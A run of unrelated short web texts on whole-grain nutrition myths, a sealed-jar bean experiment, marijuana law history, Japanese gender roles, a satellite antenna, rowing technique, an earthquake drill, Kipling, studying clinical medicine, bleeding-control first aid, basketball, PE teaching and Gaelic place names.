5. Whole grains are not much healthier than refined options.
Whole grains are rich in protein, B vitamins, iron, calcium, and fiber. Grain refining removes 25-90% of nutrients, depending on the type of technology and the duration of the process. A refined grain is absorbed faster by the walls of the stomach. This usually leads to weight gain.
6. Cereals cause inflammation.
It’s known that sugar provokes inflammation, and it’s also known that inflammation is the main trigger for a wide range of diseases. Since whole grains eventually turn into one form of sugar (glucose) in the body, people mistakenly think that cereal consumption contributes to inflammatory processes. But several studies show that consumption of whole grains can reduce inflammation, rather than trigger it.
7. Whole grains increase blood pressure.
High blood pressure is often called hypertension. This condition may not have obvious signs but it can trigger heart diseases or stroke. Since many refined cereal products contain salt or sugar, you should exclude them from your daily menu. But raw grains certainly don’t lead to increased blood pressure, and their regular consumption can significantly normalize it.
Thank you to our friends at Wellness.com for contributing this piece.
~Here’s to Your Health & Safety!
Copyright 2021, HealthyResearch.com
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Plant growth in a sealed jar
Plant bean seeds in a sealed mason jar. Watch them sprout and grow leaves, entirely from the CO2 in the jar and sunlight.
Science content
Biology: Life Cycles (2)
• large, fast-germinating seeds e.g. runner bean seeds
• small tub of water
• mason jar with sealing lid
• potting soil mixed with sand, to fill the mason jar a few cm
• a little water
• a light, but not too hot, spot to leave the jar
Add 4 or 5 bean seeds to a tub of water overnight or for a couple of days, until the seed coats start to split.
The seeds can be planted directly in the soil at this point, or for faster visible results in the jar, sprout the seeds before planting: Layer the seeds between lightly-dampened paper towels and seal in a baggie to keep the moisture in. Sit in a dark place (e.g. wrapped in a dark teatowel) for about four days, until a root has started to emerge.
Add the potting soil/sand mixture to the mason jar and stir in a little water to make moist but not soggy.
Make four or five dents in the soil and carefully lay the sprouted bean seeds in them (do not break the root tip).
Optionally, have students breathe some CO2 into the jar, for reinforcement that the plants will need the CO2 contained in the jar.
Seal the mason jar and place in a light, but not hot, place in the classroom.
Within a week, leaves will start to emerge.
Leave the plant as long as desired sealed in the jar.
The seeds grow into a plant, using only the air and water in the jar, and the energy of the sunlight that hits the jar.
Plants build their structure from CO2 and water. (They also respire, using oxygen in the jar.)
Grades taught
Gr 2
Gr 3
Gr 5
Gr 6
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Essay about the sisters
Submitted By chris86709
Words: 2769
Pages: 12
Marijuana Legalization
Political Science
The decision of the U.S. Congress was based in part on testimony derived from articles in the newspapers owned by William Randolph Hearst, who was heavily interested in DuPont Inc. Some analysts theorize DuPont wanted to boost declining post-war textile sales, and wished to eliminate hemp fiber as competition. Many argue that this seems unlikely given DuPont’s lack of concern with the legal status of cotton, wool, and linen; although it should be noted that hemp’s textile potential had not yet been largely exploited, while textile factories already had made large investments in equipment to handle cotton, wool, and linen. Others argue that Dupont wanted to eliminate cannabis because its high natural cellulose content made it a viable alternative to the company’s developing innovation: modern plastic. Still, others could argue that hemp could never truly compete with the high strength and elasticity of synthetics, such as nylon. Furthermore, hemp would have been an easy target due to its intoxicating effect, while no rational justification could have been made for outlawing cotton, wool, or linen.
The 1937 federal marijuana tax act was struck down by the Supreme Court in 1969. In a case brought by Timothy Leary, the Court held that the law’s requirement that a would-be possessor of marijuana register with the local bureau of the IRS, thereby placing his name and address on a file available to local law enforcement, violated the Fifth Amendment privilege against self-incrimination, given the fact that at the time all 50 states had state laws on the books outlawing marijuana outright. In 1970, the Controlled Substances Act made possession of marijuana illegal again on a federal level, without the constitutional issues that scuttled the 1937 act. Several petitions for cannabis rescheduling in the United States have been filed, since the Act permits legalization of marijuana through the executive branch. In 1972, Richard Nixon declared the ineffectual and financially exhausting a War on Drugs which has been waged ever since.
Federal law classifies marijuana as an illegal substance. The Federal Controlled Substances Abuse Act provides criminal sanctions for various activities relating to marijuana. Federal laws are enforced by federal law enforcement agencies that may act independently or in conjunction with state and local law enforcement agencies.
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Gender roles/expectations that exists in contemporary Japanese society
Extracts from this document...
AGNE GUSCENKAITE BEKKA program Sociology Final Take Home Exam MANDATORY QUESTION Gender role/expectation that exists in contemporary Japanese society Discuss one gender role or expectation that exists in contemporary Japanese society, please talk about: 1. how/why this role emerged and 2. provide examples of how men and/or women are changing and resisting/subverting this gender role/expectation. In Japan, traditional gender roles are characterised by a strong sense of patriarchy in society, this is a male dominated country with a distinct separation of gender roles. In the family, this refers to the idea that the man is a breadwinner and the woman is a homemaker. At the workplace, there is a strong male dominance in the company hierarchy. Generally, men have more career opportunities, often life-time job and good salary, and women are considered to be temporary employers, expected to stop working after the marriage or childbirth. Working women generally take on non leadership roles, so this reduces the possibility to climb on career steps. Childcare is regarded as the mother's responsibility and the father's domestic role is limited in helping to repair something and playing with children on weekends. Wives spend lot of time inside the house, and husbands - outside. Today this situation is a little bit changing, but still, remains the idea that man stands few steps higher than women, especially at work places and at government institutions. Gender roles and attitudes towards these roles among young generation?s couples are changing in a good way ? men spend more time with their children, and women have more opportunities in their career, especially in international context. ...read more.
Research by Sobieraj, 1998 (Children Now, Images of Men and Boys in Advertising, Spring, 2000), found in advertising for toys that these showed boys as "strong, independent, athletic, in control of their environments, adventurous, and aggressive. Girls are shown as giggling, gentle, affectionate, fixated on their physical appearance, and extremely well behaved.â (http://www.directessays.com/viewpaper/79101.html) I have watched some advertisements in TV, and noticed that women in these commercials are more likely to be young, beautiful, dependents, in the home and users of the products. They also are recommending some products without specific explanation how to use it or without the support of factual arguments (Men are better in to weigh in with an argument, I think). Men, on the other hand, are older, often “salarymen”, somewhere outside of the home and authorities on the products. They are also often explaining why the products are good and recommending items soundly. Even though some stereotypes about the presentation of gender in commercials persist (for setting, product type, voice-over), the recent study found an equal number of males and females appearing as primary characters in commercials during prime time. („Changing Gender Roles in Prime-Time Commercials in Malaysia, Japan, Taiwan, and the United Statesâ, Mary Jiang Bresnahan, Yasuhiro Inoue, Wen Ying Liu and Tsukasa Nishida). Talking about gender stereotypes in Japanese media, maybe somebody would talk about women position and how this position is objectified. Of course, Japanese women in past few decades felt discriminated politically and economically. ...read more.
(http://edstrong.blog-city.com/japan_sex_teenage_girls_and_consumerism.htm) Also it is present in other Asian countries, Europe and America. I think, the main problem is that with growing materialism and consumerism enjo kosai is still continuing. These young girls need luxurious and well-known designer’s goods and men - something they receive in change of it. It is like a magic circle, it makes these girls to be involved in this activity for a long time, because it is easy and immediate money. Earning money in this way can be even like a drug, it can create a strong dependency, and once they begin, it is quiet hard to stop later. Some sociologists see enjo kosai as a coming-of-age ritual that has naturally developed in Japan's contemporary capitalist society. Japan is famous for being a place full of contradictions and various s****l politics, which are quiet strange looking with West person’s eyes. In Japan enjo kosai is interpreted in much more easy way - girls lots of times even do not have to have s****l relation with a man, so they do not feel ashamed, and men, are justifying being them involved in this activity because this is the nature who created this „uncontrollable attractionâ, a justification that is not understandable to foreigners. In conclusion, for the girls who offer themselves and the men who pay, enjo kosai is a dangerous drug which consists of two powerful „elementsâ of thought that are deeply rooted in the collective perception of modern Japan – it is the point at which s****l fetish meets consumerism and, unfortunately, they „needâ each other for all the time to make it work. ...read more.
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Mitsubishi Electric Corporation announced that it has developed a prototype of the world's smallest antenna for high-precision satellite-based positioning in four frequency bands used by the world's main satellite-positioning systems and positioning-augmentation services. The highly compact antenna, which is expected to be installed in diverse vehicles and even drones, will accelerate high-precision satellite-based positioning for autonomous driving and many other applications.
1) Proprietary technology achieves world's smallest four-band antenna for diverse vehicles
• The antenna's two folded linear elements are wired three dimensionally and symmetrically on each of four molded-resin layers, which are perpendicular to the module's horizontal surface. This unique design has resulted in the world's smallest four-band antenna for the high-precision satellite-based positioning of diverse autonomous vehicles, including drones and small tractors as well as automobiles.
• The prototype's L1 bandwidth, which is about triple that of the company's existing model, is achieved with three-dimensional wiring, achieved with a molded interconnect device in which electrodes, circuits, etc. are formed on the surfaces of 3D molded-resin layers, and an antenna configuration optimized for space limitations. Also, the new antenna supports major positioning-satellite systems and positioning-augmentation worldwide.
2) Unique structure achieves multipath wave suppression for more precise positioning
• Positioning precision is enhanced with the antenna's unique structure, which combines both straight and loop elements to reduce back lobe radiation, thereby suppressing multipath waves reflected from the ground.
• Compactness and multipath wave suppression are achieved without increasing the antenna's size, unlike conventional multipath-wave suppression methods.
Future Development
Going forward, Mitsubishi Electric will research practical applications by evaluating the prototype's positioning precision in outdoor trials.
Antenna Specifications
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The seats are numbered 1 to 4. Number 1 is the bow seat and 4 is the stroke seat. The left side looking forward is the red or port side and the right side is the green or starboard side. The sharp end of the boat is the bow and the blunt end is the stern.Parts of the boat
Sit in the centre of your seat: this helps to stop you leaning too far forward at the start of the stroke. Adjust the foot-block so that your legs are slightly bent and the ends of the Velcro foot-straps so that they point upwards together and are therefore easy to rip undone in an emergency.
Make sure that you are sitting in the middle of the boat to keep her evenly balanced.
You may find it helpful to put your little finger across the end of your oar handle to push the oar outwards against the button. Hold the oar with your hands around 8 inches apart.
Hold the oar lightly to avoid blisters. Relax your grip as the oar comes forward. This part of the stroke is called the recovery. Wear gloves if required.
Lean forward at the start of the stroke- keep your back straight and your chest open.
Lean back to about three o'clock.
Work out what height your hands need to be in order that the blade is just under the water & what height your hands must be to be so that your blade just clears the water when as your hands come forwards. Don’t put the blade deeper than this or raise the blade any higher than this as this wastes energy. The oar will find the correct depth if you let it..
Your arms should be straight when the blade enters the water. This is called the “catch”.
The drive is when you pull the oar through the water. Use your legs and back on the first part of the pull. Also push down on the footrest so that your bodyweight adds to your power.
Do not snatch at the first part of the stroke or pull more strongly at the end: both actions will cause you to tire quickly. Pull smoothly through the whole stroke.
Keep the pressure on until the end of the stroke to avoid washing out.
Keep your arms straight until you stop swinging back then pull in your arms to your body.
Keep your head and body on the centre-line of the boat throughout the stroke.
When feathering, turn the oar with the inside hand. Apply the power with the outside hand.
Good rowing!
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Government of Trinidad and Tobago
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Homeowners Survey
As a Homeowner, the Office of Disaster Preparedness and Management (ODPM) encourages you to perform a drillat your home or residence, apartment or dwelling.
You can conduct any ONE of the following:
1. Practice what you can do when the earthquake is happening:
The house/apartment will be shaking a lot and items loosely stored will fall. You will not be able to stand properly.
a. You will have to evacuate your home if it is not fit to stay in.
Practice evacuation of your home or apartment.
• a. You may have a relative trapped under a heavy piece of wood – what will you do, if he/she is bleeding?
• b. If any relative has suffered an injury to the hand and is bleeding what can you do?
• c. If a relative has suffered burns to the face due to an explosion in the house due to a gas tank falling down, what can you do?
Practice basic first aid.
3. When you gather outside your home- who do you contact? What will you tell them? Where is your designated shelter? Who can tell you? How will you get there? Do you expect the roads to be free to drive? Do you expect your phones to be working? How will you contact anyone of your phones are not working?
Practice what you will do when you evacuate the home.
4. How long is the walk to your nearest shelter? Have you visited your shelter? What do you need to take to your shelter? What are the most important things that you need to have in your disaster bag to go to the shelter? Is everyone in your home able to carry their own disaster bags?
Practice what you will do when you go out to the shelters.
What to do after you finished your drill?
Calendar Hazard Maps Emergency Contacts
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Rudyard Kipling
Rudyard Kipling was born in India in 1865. After intermittently moving between India and England during his early life, he settled in the latter in 1889, published his novel The Light That Failed in 1891 and married Caroline (Carrie) Balestier the following year. They returned to her home in Brattleboro, Vermont, where Kipling wrote both The Jungle Book and its sequel, as well as Captains Courageous. He continued to write prolifically and was the first Englishman to receive the Nobel Prize for Literature in 1907 but his later years were darkened by the death of his son John at the Battle of Loos in 1915. He died in 1936.
Series by Rudyard Kipling
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Rish Academy
Clinical Medicine
What is Clinical Medicine?
Medical science and practice based on direct observation of patients.
Clinical medicine is a form of science that places a greater emphasis on practice. It focuses on directly healing patients through diagnosis, treatment, surgery, prognosis, etc.
Basic medicine, on the other hand, focuses on researching the laws of human life and disease phenomena in order to provide the necessary theoretical support for clinical practice as part of the efforts to cure patients.
Clinical medicine is an art in that you must understand the process rather than memorize drug names by heart. To study clinical medicine, you must first ensure that you have a thorough understanding of basic medical science.
Clinical medicine, on the other hand, is one of the most important aspects if you’re a student of medicine, nursing, or any other health-related course that involves human lives. Because you need to know why a patient is actually showing certain clinical signs and symptoms, as well as why you’re performing certain investigations and interventions.
Clinical medicine is the common form of medicine, which represents the responsibilities of the general clinician towards patients. Briefly, clinical medicine is the study and practice of medicine based on direct observation of patients. Understanding a patient’s problems by a proper clinical history, examinations and investigations and the methods of treatments are very important to diagnose the disease. Therefore clinical medicine has an important role in diagnosing disease and treating the patient.
Unlike other science fields that focus more on the theoretical and basics of medical science, in clinical medicine, medical practitioners assess patients in order to diagnose the disease, cure the patient, and prevent disease. Medical practitioners conduct a medical interview about a patient, called clinical history which includes the following:
1. Chief complaint/Presenting complaint to identify the problem
2. History of presenting complaint that explains the chief complaint. Here, Signs, symptoms, other associated problems, how they change over time, and all other clinical features of the patient are assessed in detail.
3. Inquiry of other systems such as recent and abrupt changes in weight, fevers, sleep, etc.
4. Past medical & surgical history, will be useful in the diagnosis and management of the patient.
5. Family & Social history to see familial diseases, the habit of drinking alcohol, etc.
6. Drug history to see ongoing medications and adverse effects due to drugs
7. Allergies for foods, drugs, plasters, etc.
Physical examination is carried out using common medical devices such as stethoscope, tongue depressor, thermometer, etc. to diagnose the disease and some relevant medical investigations may also be conducted, e.g. blood tests, biopsy, etc. to come a diagnosis.
By using the clinical history from the patient, clinical examination findings and the data from investigation reports from laboratories, physician makes the diagnosis and prescribes medications (e.g. pharmacological drug treatments) accordingly.
How to study Clinical Medicine?
Clinical Medicine is one of the most challenging, yet extremely interesting, subjects in clinical training. Your clinical medicine knowledge will benefit you throughout your career, and it may even save someone’s life one day.
We’ve outlined all of the most effective methods for studying clinical medicine so you can cut your study time in half, retain more information, and perform well on your exams and as a doctor.
1) Create a positive environment for learning.
You can maximize your learning efficiency by creating a good learning environment. A productive outcome will result from a combination of effective time management, good reading and note-taking skills, illustration skills, developing effective test-taking strategies, and hard work. Identify all of the distractions in your environment that are interfering with your concentration. That is the key to achieving success.
2) Have a basic knowledge of clinical science.
Remember! Anatomy, Physiology, and Pathology aren’t just useful for exams; they’re also useful in everyday life. You don’t have to be a genius in Anatomy and Physiology, but you should know the basics to understand Clinical Medicine and what happens inside the body in diseases. So, if you’re going to study Myocardial Infarction clinical medicine this week, just brush up on your basic Anatomy, Physiology, and Pathology of Myocardial Infarction. So, when your professor discusses Myocardial Infarction in a lecture, you’ll easily understand how a blood clot blocks Coronary Arteries and causes complications in the specific area of the heart supplied by the artery.
Sample of Pathophysiology Made Easy Flashcards eBook
3) Know the teaching style of your professor!
Every professor has a distinct teaching style. Some professors may provide you with study notes prior to lectures so that you can get a general idea of what to expect. Some professors expect students to learn independently from textbooks and research. You can ask your seniors how they studied the subject if you have such professors.
4) Collect resources to study
There are numerous resources available to assist you in your academic endeavors. To maximize your studying effectiveness and reinforce the concepts in Clinical Medicine, you should use all of the resources and a combination of learning techniques. You can use your textbooks, class handouts, reading materials, and lab materials provided by your professor, as well as many online resources available to students.
• Textbooks: For your studies, always use standard textbooks. They provide you the extremely reliable resources. Because you can clear up any unanswered doubts or brush up on a chapter you’re unfamiliar with.
• Reading materials: You should always study your university’s reading materials and notes. Because they will give you chapter-by-chapter notes on what you need to know for your exams.
• Google: For any topic, Google is always our best friend. To make learning easier, you can look up mnemonics, diagrams, and word associations. However, always make sure you’re referring to reliable sources. Because not everything you find on the internet is 100% accurate. For high-quality and reliable articles, I always use and recommend websites like Medscape, PubMed, and MayoClinic.
• YouTube: There are plenty of YouTubers who make learning fun. On YouTube, many complex topics in clinical medicine are explained in an understandable manner. This is particularly beneficial for students who are visual or auditory learners.
You can gain access to our Medical Resources Library, which contains over 300 medical presentations and other medical resources that will benefit you throughout your career.
Some slides from the presentations from our Medical Resources Library
5) Understand the theories rather than memorize them.
You can’t memorize facts if you don’t understand them first. You can create a flowchart with all of the mechanisms and a study sheet for each disease. If you try to memorize the facts, you will quickly forget them. So you have to understand the pathophysiological process that happens in disease.
6) Take Good Notes
You will not remember everything you hear, but taking notes will assist you in remembering more. You may not understand everything your professor says in class at times. However, when you return home and review your notes, you will have a better understanding of them. These notes will be extremely beneficial in understanding the theories explained in books and in your institute’s reading materials.
These notes are also the key to getting high grades on your exams. Before your exams, you can concentrate more on these notes, and they will help you answer MCQs based on theories not covered in your reading materials.
Professors may also tell you about memorizing techniques they’ve used in the past, which will help you revise the subject more effectively if you write them down. Clinical Medicine is a challenging but interesting art in your medical career. Taking good notes on your own, on the other hand, will help you do well in exams and in your clinical practice.
7) Make a good set of Flashcards
Clinical medicine is one of the most detailed and important topics in medical, dental, and nursing programs. You can make different flashcards in the form of questions and answers or diseases and their related clinical findings etc. Before the exams, you can use flashcards in the form of questions and answers.
Make flashcards out of the chapters that are most important to you and the topics that you tend to forget. As a result, revising will be much easier than reading the textbooks again and again.
Additionally, flashcards have a visual impact on your brain that aids in information retention. Small theories like “lung cancer complications” or “pathophysiology of Myocardial Infarction” can serve as excellent flashcards for last-minute preparations. To back up your theory, draw an occluded vessel with a thrombus to illustrate myocardial infarction, and that image will stay in your mind for years.
I used to make beautiful flashcards to explain the pathophysiology and clinical presentation of each disease during my studies. I’ve created it as a high-resolution PDF eBook that you can download and print yourself.
Click the button below to download Pathophysiology Made Easy eBook. This eBook has 12 chapters and 234 pages.
Sample of Pathophysiology Made Easy Flashcards eBook
8) Make your Study Sheets
Creating study sheets for each exam, similar to flashcards, can be extremely beneficial. You can make a note on one page that covers every important point of that chapter using other resources such as lecture notes, textbooks, and flashcards. As a result, you will be able to revise the notes in a short period of time before the exams.
For example, if you’re creating a study sheet on Ischemic Heart Disease, you can include more sub-sections such as Stable Angina, Unstable Angina, Non-ST Elevation Myocardial Infarction (NSTEMI), and ST-Elevation Myocardial Infarction (STEMI), as well as pathophysiology for each on a single page. So you can compare and understand the progression of the disease.
9) Create Mnemonics
Mnemonics have been extremely useful in my medical career and as memory aids for me. In Clinical Medicine, you must remember diseases that are very similar, so mnemonics will aid in remembering the differences. If you do a google search on the topic you’re working on, you’ll find tons of mnemonics. Mnemonics can help you remember a lot of information in a short amount of time, and you can use them for any subject in medicine, from Anatomy to Surgery.
You can make your own mnemonics and write them down to help you remember the chapter more quickly and easily. I used a lot of mnemonics during my medical school years. You can get them as an eBook.
10) Recall facts by using word associations.
When studying Clinical Medicine, you’ll come across a lot of unusual and difficult words that can be difficult to remember. The use of word associations will greatly assist you in this process.
For example, the words Thrombus and Embolus can be linked as,
• Thrombus is Tight – Thrombus is anchored to a specific location.
• Embolus Escapes – Embolus dislodges and travels to a faraway location.
I absolutely love these simple methods for studying any subject, such as mnemonics and word associations. My friends tease me for inventing clever mnemonics to help me remember difficult concepts, particularly in pharmacology. But we never forgot them even after the exams. They’re effective ways to remember any chapter for a long time.
11) Learn what type of learner you are
Decide which learning style is best for you. This is true not only for Clinical Medicine but for any medical or nursing school subject. Do you find that mnemonics and flashcards help you remember things? Are you a verbal learner? Because most students have a mix of learning styles, you’ll need to figure out which one is best for you in order to be more effective. Then, in your own unique way, maximize your study efforts in order to achieve a high score. If rewriting notes doesn’t work, don’t bother with them. If using flash cards helps you remember, go ahead and use them!
12) Record the Lectures
This is something I recommend for every lecture so you can catch up on anything you may have missed during the lecture. If you’re allowed to record the lecture, this is a viable option. Recording your lectures will assist you in revising them. You can listen to them in your spare time to learn more. This will undoubtedly aid in the process of memorization of the key theories discussed in the lectures.
However, don’t put too much pressure on recording and listening to it again. Listen to the lecture and try to jot down some notes during it. Because if you try to make a note after coming to the home, you’re spending your time twice. Because in medical school, time management is crucial.
13) Study actively
Clinical medicine is not like reading a book. Active learning techniques are critical, especially when learning about the physiological and pathological processes that occur inside the human body.
When you’re studying a difficult subject like Clinical Medicine, it takes up a lot of your time. So you have to listen to your professor lecturing, use reading materials, books, flowcharts, short notes etc.
14) Work in groups
Sometimes in complicated subjects like Clinical Medicine, you don’t always understand the facts the first time you hear them. Working in groups can thus be beneficial to some students. Having your friends explain complex physiological or pathophysiological processes to you, quiz you, or discuss past papers can sometimes help you retain more and more information. Having a study group of friends, on the other hand, will keep you motivated to study. Peer teaching has been shown to be very effective in helping students retain more information in studies.
15) Repetition
You’re more likely to forget many complex mechanisms the more you learn. So, in order to keep everything you’ve learned fresh in your mind, you should practice what you’ve learned over and over. You can review your notes on a daily, weekly, or monthly basis, but repetition is necessary to improve your memory.
16) Quiz yourself
Test your knowledge again and again. You can create your own questions and quiz each other with your friends, or you can use past papers or model papers provided by your university or lecturers. This is a must-do activity if you want to get good grades because you’ll know exactly what you need to study.
17) Review your mistakes
Truth is, when you do self-review and when you make a mistake, if you correct it by your reference materials then you’re very unlikely to forget it. As a result, always pay close attention to where you went wrong.
Journal of Clinical Medicine
Journal of Clinical Medicine is an international peer-reviewed open access journal published monthly online by MDPI, an organizational acronym used by two related organizations, Molecular Diversity Preservation International and Multidisciplinary Digital Publishing Institute, which were both co-founded by Shu-Kun Lin. – According to Wikipedia.
Differences Between Clinical Medicine, Basic Medicine and MBBS
Clinical medicine is the study and practice of medicine based on direct observation of patients which focuses on diagnosis and management of the patient.
Basic medicine focuses on studying the basic structural and functional theories of the human and diseases which gives the fundamental support for the clinical medicine.
MBBS full form is Bachelor of Medicine, Bachelor of Surgery is more comprehensive. MBBS is a degree that combines both theoretical and practical medical knowledge. In conclusion, MBBS is a combination of clinical medicine and basic medicine.
We can compare the differences among them by,
clinical medicine
Clinical Medicine Review (CMR)
The Clinical Medicine Review provides a platform for communication and the sharing of knowledge for academics, researchers, and practitioners in the field of clinical medicine. CMR intends to offer timely and sustainable publication of research articles, review articles, case reports, and editorials.
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• Robert Peel International
What would you do in an attack? The case for “Stay Alive” First Aid training.
Updated: Nov 26, 2021
The Government advice in the event of a terrorist attack is to “Run, Hide, Tell”. Advice is all well and good, but no one truly knows what they would do until the unthinkable happens.
Human beings are mammals and we act the same as other mammals when faced by danger, we either “Fight or Flight”. The course of action one takes is based on a lot of external influences, such as: The threat, our personality, who we are with, other dangers and previous experience and training.
Previous experience and training are perhaps the most effective influences. Study after study confirms that individuals who have had military or police training react differently in a crisis than people who have not. When all else fails, they will fall back on the drills that they learned, even if, in some cases, those drills were a lifetime ago.
There is also the initial reaction, which comes before the “Fight or Flight” phase, a reaction that is often not known about or understood. This recognised phase is called “Freeze”. This is a period when the brain makes a critical decision to either fight or flee. In trained individuals, this decision period occurs in a very short time window, again, dependent on experience and training. Individuals who have been in Special Forces or exposed to a high volume of operations often make decisions faster than those who have not, which is to be expected.
But what happens if you can’t flee or fight? There have been a number of high-profile attacks in recent times, where the vast majority could do neither, because of barriers such as: Collapsed buildings, the presence of armed individuals blocking potential escape routes, or injuries sustained by yourself or someone you know. The horrific attack on the Orlando nightclub, Pulse, in 2016, and the attack on the Nairobi Westgate shopping mall, in 2013, are prime examples.
People died in both these situations, from what we now know were treatable blood loss injuries. In other words, death was a result of bleeding that could have been stopped by someone with the correct training and experience. This includes the victim.
Soldiers on a modern battlefield are trained and expected to administer self-help as soon as they can, this action has saved lives numerous times. Casualties are able, in horrific circumstances, to receive lifesaving first aid treatment, which is enough to stabilise them before any medic, or doctor is able to see them.
The casualty survival rates for the Afghanistan and the Gulf Wars are mind blowing when compared to earlier conflicts. The difference between the two Gulf Wars is significant, to say the least. Survivability is just as dependent on what happens in the first 2 to 3 minutes following the injury, as it is the 3 to 4 hours of surgery back in an operating theatre. In fact, without that initial intervention, the surgery will not happen or even be necessary because the patient will be lost.
The battlefield has now moved, to an arena populated by people who, for the most part, have very little training and wouldn’t know what to do if someone was bleeding in front of them. Paris, Nice, Brussels, Nairobi, Orlando, Boston, Madrid, Mumbai, and London. Injured people caught up in these incidents had little or no idea as to what they needed to do to self-help. Some of the casualties in the Pulse nightclub attack were alive up until two hours after their injury. The emergency services could not get to them because they were under fire themselves and attempting to prevent further casualties. People could have easily been saved if they, or the people close to them, had even rudimentary knowledge of how to control catastrophic bleeding.
The real shame of this, is that it is not hard to obtain these skills. It does not require years, months, or even weeks of training! These skills can be taught, and more importantly, learned, in a few short hours with the right level of experienced trainers, combined with the correct equipment and knowledge.
Learning to manage the trauma of major blood loss can become second nature so that you can react instinctively when and if the situation arises, and it will keep, you, your friends and your family alive.
It’s not just attacks like shootings and bombings that apply, correct training will also save lives in any other situation which results in catastrophic blood loss, such as: Accidents in the home, on the roads, in work, or just an incident that occurs in day to day life.
Catastrophic bleeding occurs when an artery or major blood vessel is cut. This can easily happen at home or at work, but for some reason, many of your standard home or work first aid kits are ill-equipped to deal with such a trauma.
Again, a surprisingly little amount of specialist equipment is required. Simple pressure techniques, proper bandages, and some clotting agents are all that is needed.
Why then, do so little people have this knowledge, what stops more people from obtaining it? Is it time? Is it cost? Is it lack of opportunity? Or is it attitude? “Not my problem”.
The cost of such items, including the training and skill to use them, can be obtained for less than Åí150, and take as little as two hours to learn. The equipment needed can fit into a jacket pocket or one of the compartments on a computer bag. There are training providers who have the requisite knowledge and experience to train high numbers of people in the workplace very cheaply, so the opportunity is there if you look for it.
2 hours of training and the practice of carrying a small, effective First Aid kit can prevent a loved one, or someone you work with, from becoming a victim of violence or a serious accident. Ultimately, the right knowledge could even save you.
Another terrorist attack will happen. People will be caught up in it, and the major cause of loss of life will be catastrophic blood loss. The general public can do nothing to stop the attack, but they can do something to minimise the loss of life, simply by being ready and having the right attitude. So why not start preparing now?
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Backboard and other equipment
A backboard is equipment used in the game of basketball. A basket is attached to it. It is made up of materials like wood, fiber, plexiglass etc. It is rectangular and vertically placed. The backboard may also be oval in shape. However, in NCAA and NBA only rectangular backboard is used. Oval backboards are used mostly in non-professional games. Basketball hoop is installed on the backboard is attached with the help of a loose connection allowing the absorption of the shock caused by the ball. Beach basketball and netball do not use backboards. The size of the rectangular backboard is 6 feet by 3.5 feet.
There is a uniform code in the game of basketball. The players wear a pair of shorts and a sleeveless shirt with a particular number printed on both back and front side. The numbers of players range between 4 and 15. Clothes are generally loose fitting so as to allow greater mobility. Basketball players wear shoes with a sole of rubber designed to protect ankles of the players and worn with towel shocks. The basketball attire is designed to be comfortable and also serve as a indicator for other players to recognize their team mates on the court.
Shoes worn by basketball players need to have an extra grip on the court, which is made up of polished wood. Players should be easily able to maneuver on the court without slipping and falling. Basketball shoes are nowadays designed to help players jump higher, by adding spring action.
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Tag Archives: National Health Gymnastics
Sienna’s PE movement journal (Oct 7th)
This week, from practicum, I had a chance to observe how TGFU concept is implemented in a PE class. In grade 2 PE class, students were divided into four groups, and the teacher gave each corner of the gym as “home station” to each group. The game itself was very simple, but it was fun and a very good example of TGFU. There were 30 balls in the middle of the gym, and students had to bounce the ball to their home station. When there were no balls left in the middle of the gym, students were allowed to take balls from other groups’ home stations. The group who has the biggest number of balls win the game. In my opinion, this game was the perfect example of TGFU to introduce basic skills of basketball. All students actively participated in the game. By the time when the game was finished, most students were able to bounce the ball pretty well. I wish I had an opportunity to play the game like this in PE class before practicing basketball. In Korea, most PE classes were always about playing sports. We play basketball for a while then move on to badminton, and then soccer. Like this, we always learned sports in PE class, so I never knew TGFU. I think TGFU is a very effective method to introduce fundamental movement skills of sports such as basketball or soccer.
Even though I did not experience TGFU in my PE classes in Korea, I realized that I have learned about “PE for life” concept. There is something called “National Health Gymnastics (NHG)” in Korea, and every student has to learn this in a PE class. If I remember correctly, students practice “National Health Gymnastics” at least once a week at school. I heard that a lot of companies try to practice NHG before they start working. Some people practice NHG every morning as their morning exercise. I think this is one of the examples of “PE for life” so wanted to share. Please enjoy the video!
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(Mostly) Gaelic Elements in Local Place Names
How to pronounce "Drumnadrochit".
It's "Drum -na- DROCH -it". The "Droch" bit is softened at the end, as in Loch, not as in Lock. It's easy, just breath out through the K sound when you get to it.
Don't overdo it or you'll sound like Gollum in Lord of the Rings...
It's a lot easier to remember the name if you know what it means. Here are some elements to look out for in Highland place names, with their meanings:-
Achadh, Ach, Auch Field
Abhainn, Aven, Avon River
Allt, Alt Stream
an (diminutive ending) see Lochan
Ard High
Baile, Ball, Bal Farm, Settlement, Town
Ban White, Pale
Beag, Beg Small
Beinn, Ben Mountain
Beith Birch
Blair Flat, level field
Breac Speckled
Buchaille Shepherd
Buidhe, Buie Yellow, golden
Cam Bent
Cairn, Carn Hill, heap of stones
Ceann, Kin Head
Cill Church
Clach Stone
Cnoc Hillock, small hill
Coille Wood
Coire, Corrie Hollow, cauldron
Craggan Small rocky hill
Creag, Craig, Crag Rock, cliff
Croit, Croft Croft, smallholding
Cruaidh, Croy Hard
Dal, Dail Meadow
Darach, Darroch Oak tree
Dearg Red
Donn Brown
Doire Grove
Drochaid, Drochit Bridge
Druim, Drum Ridge
Dubh, Dhu Black, Dark
Dun Fort, usually on a steep hill
Eas, Ess Waterfall
Eilean Island
Fearn Alder
Feith Bog
Fionn White, pale, fair
Fuar Cold, chilly*
Garbh, Garve Rough
Garadh, Garry Enclosure
Geal White, bright
Glas Grey/green
Gleann, Glen Valley
Gobhar, Gower Goat
Gorm Blue
Innish, Inch, Insch Island
Inbhir, Inver Confluence, Mouth of a river
Kil Church
Lagan, Laggan Hollow
Lairig Pass through hills
Leacann, Leachkin Slope
Laitir, Letter Large, extensive slope
Liath Grey
Lochan Small loch
Mam Large round hill
Meadhonach Middle
Meall Lump, shapeless hill
Moine Moss, peat
Monadh Extensive hill, moorland
Mor, Mhor Large
na of the
Ros Promontory
Ruadh Red
Sgeir ** Skerry, small rocky island
Sgurr Peak, sharp top
Sneachd Snow
Strath Wide, U shaped valley
Sron, Strone Nose, point
Stac Rocky column, cliff
Tigh House
Tir Land
Tomb, Tom Hillock
Tor, Torr Cone shaped hill, tower
Tulach, Tullich Knoll
Uaine Green
Uachdar, Auchter, Achter Upland
Uamh Cave
Uisge Water
Why is Urquhart not listed? It is in fact a Pictish name, based on the word Carden, which is thought to mean "thicket" and may be connected with the thick vegetation at Urquhart Bay at the Cover, an S.S.S.I. Other Pictish place name elements include "Pit", meaning "portion", or "share", and "Aber" meaning "River Mouth"
